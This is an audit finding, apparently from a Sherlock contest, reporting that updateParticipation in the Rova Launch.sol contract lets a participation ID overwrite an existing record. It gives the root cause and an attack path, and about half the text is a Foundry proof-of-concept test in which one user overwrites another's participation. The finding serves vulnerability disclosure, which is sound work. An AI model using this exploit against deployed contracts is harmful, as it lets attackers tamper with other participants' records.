Precise Aquamarine Squid

High

# Existing Participation Records Can Be Overwritten Through Update Function

### Summary

Missing validation in `updateParticipation` will cause existing participations to be overwritten as the function does not verify if the new participation ID already exists, allowing users or attackers to manipulate existing participation records.

### Root Cause

In [`Launch.sol:updateParticipation()`](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L312), there is no validation to ensure `newLaunchParticipationId` doesn't already exist:
```solidity
function updateParticipation(UpdateParticipationRequest calldata request, bytes calldata signature) {
    ParticipationInfo storage newInfo = launchGroupParticipations[request.newLaunchParticipationId];
}
```

### Internal Pre-conditions

1. At least two users must have valid participations in a launch group
2. The launch group must be in ACTIVE status
3. The launch group must not finalize at participation


### External Pre-conditions

1. Signer needs to sign both the initial participation requests and the malicious update request
2. Update participation signature from backend needs to be valid and not expired

### Attack Path

1. Victim creates a valid participation with ID1
2. Attacker creates a valid participation with ID2
3. Attacker calls updateParticipation with prevLaunchParticipationId = ID2 and newLaunchParticipationId = ID1
4. Victim's participation data gets overwritten with attacker's data

### Impact

An attacker can overwrite any existing participation record, leading to:
- Loss of legitimate participation records
- Manipulation of participant data
- Disruption of the launch process
- Potential denial of service for legitimate participants

### PoC

```solidity
pragma solidity ^0.8.22;

import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    UpdateParticipationRequest,
    ParticipationInfo
} from "../src/Types.sol";

contract ParticipationIdCollisionTest is Test, Launch, LaunchTestBase {
    ParticipationRequest public victimRequest;
    ParticipationRequest public attackerRequest;

    function setUp() public {
        _setUpLaunch();
        _setupLaunchGroup();

        victimRequest = _createParticipationRequest();
        victimRequest.userAddress = user1;
        victimRequest.userId = "user1";
        bytes memory victimSignature = _signRequest(abi.encode(victimRequest));

        vm.startPrank(user1);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                victimRequest.launchGroupId,
                victimRequest.currency,
                victimRequest.tokenAmount
            )
        );
        launch.participate(victimRequest, victimSignature);
        vm.stopPrank();

        attackerRequest = _createParticipationRequest();
        attackerRequest.userAddress = user2;
        attackerRequest.userId = "user2";
        attackerRequest.launchParticipationId = "attackerParticipationId";
        bytes memory attackerSignature = _signRequest(abi.encode(attackerRequest));

        vm.startPrank(user2);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                attackerRequest.launchGroupId,
                attackerRequest.currency,
                attackerRequest.tokenAmount
            )
        );
        launch.participate(attackerRequest, attackerSignature);
        vm.stopPrank();
    }

    function test_ParticipationIdCollision() public {
        ParticipationInfo memory victimInfo = launch.getParticipationInfo(victimRequest.launchParticipationId);
        assertEq(victimInfo.userId, "user1");
        assertEq(victimInfo.userAddress, user1);

        UpdateParticipationRequest memory updateRequest = UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: attackerRequest.launchParticipationId,
            newLaunchParticipationId: victimRequest.launchParticipationId,
            userId: "user2",
            userAddress: user2,
            tokenAmount: attackerRequest.tokenAmount,
            currency: attackerRequest.currency,
            requestExpiresAt: block.timestamp + 1 hours
        });

        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user2);
        launch.updateParticipation(updateRequest, updateSignature);
        vm.stopPrank();

        ParticipationInfo memory overwrittenInfo = launch.getParticipationInfo(victimRequest.launchParticipationId);
        assertEq(overwrittenInfo.userId, "user2"); 
        assertEq(overwrittenInfo.userAddress, user2);
    }
}
```

### Mitigation

_No response_